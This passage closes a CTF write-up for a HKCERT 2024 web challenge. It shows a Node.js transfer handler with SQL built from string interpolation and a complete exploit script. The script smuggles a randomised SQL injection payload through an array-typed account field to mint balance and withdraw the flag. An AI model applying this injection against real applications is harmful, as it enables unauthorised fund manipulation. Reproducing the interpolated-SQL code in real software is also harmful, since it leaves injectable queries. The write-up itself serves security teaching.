        const fromAccount = req.session.account

        const fromAccountBuffer = getBufferFromHex(fromAccount, 20)
        if (!fromAccountBuffer) { return res.status(400).json({ 'error': 'Invalid account format.' })}

        const signatureBuffer = getBufferFromHex(signature, 65)
        if (!signatureBuffer) { return res.status(400).json({ 'error': 'Invalid signature format.' })}

        const toAccountBuffer = getBufferFromHex(toAccount, 20)
        if (!toAccountBuffer) { return res.status(400).json({ 'error': 'Invalid account format.' })}

        const amountInWei = BigInt(amount * 10**18)
        if (amountInWei <= 0) { return res.status(400).json({ 'error': 'You must send a positive amount of Ethers.' })}


        const [{ balance: fromBalance, transaction_nonce: nonce }] = await runQuery(db, `SELECT balance, transaction_nonce FROM users WHERE account = '${fromAccount}'`)
        if (amountInWei > fromBalance) { return res.status(400).json({ 'error': "You don't have enough funds." })
        }
        const message = `I am ${fromAccount} and I am transferring ${amount} ETH to ${toAccount} (nonce: ${nonce})`
        if (!verifySignature(message, fromAccountBuffer, signatureBuffer)) { return res.status(400).json({ 'error': 'Invalid signature.' })}

        const [{ count: toCount }] = await runQuery(db, `SELECT COUNT(*) as count FROM users WHERE account = '${toAccount}'`)
        if (toCount === 0) { return res.status(400).json({ 'error': 'The recipient has not registered to ⚡.' })}
        
        const newNonce = crypto.randomBytes(8).toString('hex')

        // REST THE MONEY
        await runQuery(db, `UPDATE users SET balance = balance - ${amountInWei}, transaction_nonce = '${newNonce}' WHERE account = '${fromAccount}'`)

        // INCREASE THE MONEY
        await runQuery(db, `UPDATE users SET balance = balance + ${amountInWei} WHERE account = '${toAccount}'`)

        await runQuery(db, `INSERT INTO transactions (from_account, to_account, amount, time) VALUES (
            '${fromAccount}', '${toAccount}', '${amountInWei}', strftime('%Y-%m-%dT%H:%M:%SZ','now')
        )`)

        truncatedToAccount = `${toAccount.substr(0, 6)}...${toAccount.substr(38, 42)}`
        return res.status(200).json({ 'message': `You successfully transfered ${Number(amount).toFixed(5)} ETH to ${truncatedToAccount}.`})
    } catch (err) {
        console.log(err);
        return res.status(500).json({ 'error': 'Unknown error.' })
    }
})

If you look at the code, you’ll see there’s one SQL query to subtract the balance from the account we’re logged into with the SQLi, and another to add to the account receiving the transfer. So, my final trick was to use randomness to sometimes avoid subtracting the money from the fromAccount. This trick meant the script didn’t always work on the first try, but running it a few times eventually succeeded. In the following snippet—cleaned up after the CTF—I present the final solution I used to get the flag.

const { ecsign, hashPersonalMessage, ecrecover, publicToAddress } = require('@ethereumjs/util');
const axios = require('axios');


const private = "09009400929c5f...PRIVATE...KEY....b6cfc729c4550816b8b8e276"
const privateKey = Buffer.from(private, 'hex'); // Replace with your actual private key
//const BASE_URL = "http://localhost:3000"
const BASE_URL = "https://c17-zap-t100068-kohwk3ai3mb7xfnjd7zi2tt6.hkcert24.pwnable.hk"


async function createAccount(){
    let accountOrig = "0x214ee551e19f6a53b6c33f6a75a1b162ab1b370f"
    let signature = ecsign(hashPersonalMessage(Buffer.from(`I am ${accountOrig} and I am signing in`)),privateKey)
    let data = {
        account: accountOrig,
        signature: `0x${Buffer.from(signature.r).toString('hex')}${Buffer.from(signature.s).toString('hex')}${signature.v.toString(16)}`
    };
    let response = await axios.post(BASE_URL + '/api/login', data, {
        headers: {
            'Content-Type': 'application/json'
        }
    })

    if (response.status != 200){
        process.exit(1)
    }

    return 
}

async function getCookie(){
    /* Log with the account with the money $$$ */
    // We use 1=1 to not break the functionality
    let account = [
        "0x214ee551e19f6a53b6c33f6a75a1b162ab1b370f", // real account
        "' OR (ABS(RANDOM()) % 2)=1 --#- ",  // SQLi
        "shit", "shit", "shit", "shit", "shit", "shit", "shit", "shit", "shit", "shit", "shit", "shit", "shit", "shit", "shit", "shit", "shit", "shit", "shit", "shit",
        "shit", "shit", "shit", "shit", "shit", "shit", "shit", "shit", "shit", "shit", "shit", "shit", "shit", "shit", "shit", "shit", "shit", "shit", "shit", "shit" 
    ]
    // get signature
    let signature = ecsign(hashPersonalMessage(Buffer.from(`I am ${account} and I am signing in`)), privateKey);
    const signatureHex = `0x${Buffer.from(signature.r).toString('hex')}${Buffer.from(signature.s).toString('hex')}${signature.v.toString(16)}`
    
    data = {
        account: account,
        signature: signatureHex
    };
    
    // LOGIN
    let response = await axios.post(BASE_URL + '/api/login', data, {
        headers: {
            'Content-Type': 'application/json'
        }
    }).catch(response=>{})

    console.log(`Cookie: ${response.headers['set-cookie']}`);
    return response.headers['set-cookie']
}

async function getTransactionNonce(cookie){
    let response = await axios.get(BASE_URL+'/api/me', {headers: {Cookie: cookie}}).catch(response=>{})
    //console.log(response.data.transaction_nonce);
    return response.data.transaction_nonce
}

async function me(cookie){
    // Real account
    let account = "0x214ee551e19f6a53b6c33f6a75a1b162ab1b370f"
    // get signature
    let signature = ecsign(hashPersonalMessage(Buffer.from(`I am ${account} and I am signing in`)), privateKey);
    const signatureHex = `0x${Buffer.from(signature.r).toString('hex')}${Buffer.from(signature.s).toString('hex')}${signature.v.toString(16)}`
    
    data = {
        account: account,
        signature: signatureHex
    };
    
    // LOGIN
    let response = await axios.post(BASE_URL + '/api/login', data, {
        headers: {
            'Content-Type': 'application/json'
        }
    })

    response = await axios.get(BASE_URL+'/api/me', {headers: {Cookie: response.headers['set-cookie']}})
    return response.data.balance
}


async function exploit(cookie){
    let to_account = "0x214ee551e19f6a53b6c33f6a75a1b162ab1b370f"; 
    let amount = 0.593481111111111111;
    let account = [
        "0x214ee551e19f6a53b6c33f6a75a1b162ab1b370f", // real account
        "' OR (ABS(RANDOM()) % 2)=1 --#- ",  // SQLi
        "shit", "shit", "shit", "shit", "shit", "shit", "shit", "shit", "shit", "shit", "shit", "shit", "shit", "shit", "shit", "shit", "shit", "shit", "shit", "shit",
        "shit", "shit", "shit", "shit", "shit", "shit", "shit", "shit", "shit", "shit", "shit", "shit", "shit", "shit", "shit", "shit", "shit", "shit", "shit", "shit" ]
                                                        // `I am ${fromAccount} and I am transferring ${amount} ETH to ${toAccount} (nonce: ${nonce})`


    for(let i = 0; i < 10; i++){
        try {
            let signatureText = `I am ${account} and I am transferring ${amount} ETH to ${to_account} (nonce: ${await getTransactionNonce(cookie)})`
            //console.log(signatureText);
            let signature = ecsign(hashPersonalMessage(Buffer.from(signatureText)), privateKey);
            data = {
                to_account: to_account,
                amount: amount,
                signature: `0x${Buffer.from(signature.r).toString('hex')}${Buffer.from(signature.s).toString('hex')}${signature.v.toString(16)}`
            };
            axios.post(BASE_URL + '/api/transfer', data, {
                headers: {
                cookie: cookie,
                    'content-type': 'application/json'
                }
            }).catch(response=>{})
        } catch (error){}
    }

}

async function withdrawGetFlag(){
    let account = "0x214ee551e19f6a53b6c33f6a75a1b162ab1b370f";
    // get signature
    let signature = ecsign(hashPersonalMessage(Buffer.from(`I am ${account} and I am signing in`)), privateKey);
    const signatureHex = `0x${Buffer.from(signature.r).toString('hex')}${Buffer.from(signature.s).toString('hex')}${signature.v.toString(16)}`

    data = {
        account: account,
        signature: signatureHex
    };
    
    // LOGIN
    let response = await axios.post(BASE_URL + '/api/login', data, {
        headers: {
            'Content-Type': 'application/json'
        }
    })

    let amount = 10 
    let nonce = await getTransactionNonce(response.headers['set-cookie']); 
    signature = ecsign(hashPersonalMessage(Buffer.from(`I am ${account} and I am withdrawing ${amount} ETH (nonce: ${nonce})`)),privateKey)

    data = {
        amount: amount,
        signature: `0x${Buffer.from(signature.r).toString('hex')}${Buffer.from(signature.s).toString('hex')}${signature.v.toString(16)}`
    };
    
    response = await axios.post(BASE_URL + '/api/withdraw', data, {
        headers: {
        cookie: response.headers['set-cookie'],
            'content-type': 'application/json'
        }
    })

    console.log("================= FLAG")
    console.log(response.data.message);
}

async function main(){
    // Create account
    await createAccount();
    // Get user
    let cookie = await getCookie();
    // Get balance
    let balance = await me(cookie);
    console.log(balance)
    if (balance > 10e18){
        await withdrawGetFlag();
        process.exit(1);
    }

    while(true){
        try {
            await exploit(cookie);
            balance = await me(cookie);
            console.log(balance)

            if (balance > 10e18){
                await withdrawGetFlag();
                process.exit(1);
            }
        } catch (error){
        }
    }
}

main()

The script’s output for retrieving the flag would look like this:

balance

Conclusion

In conclusion, I had a lot of fun playing this CTF and really enjoyed the challenges. However, 48 hours can feel intense, and I didn’t get much sleep. I’m thrilled to be a finalist—see you in Hong Kong in January! To be honest, during the last hour of the CTF, especially those final 10 minutes, I kept refreshing the page, half-expecting other teams hoarding flags or for a team behind us to solve a challenge that would kick us out of the finals. Anyway, we secured 4th place with just one point more than BunkyoWesterns! 😆

Thanks for reading!

Alberto Fernandez-de-Retana
Alberto Fernandez-de-Retana
Security Researcher

Kaixo! I’m a Security Researcher. My research interests include web security & privacy. In my free time I love to be pizzaiolo.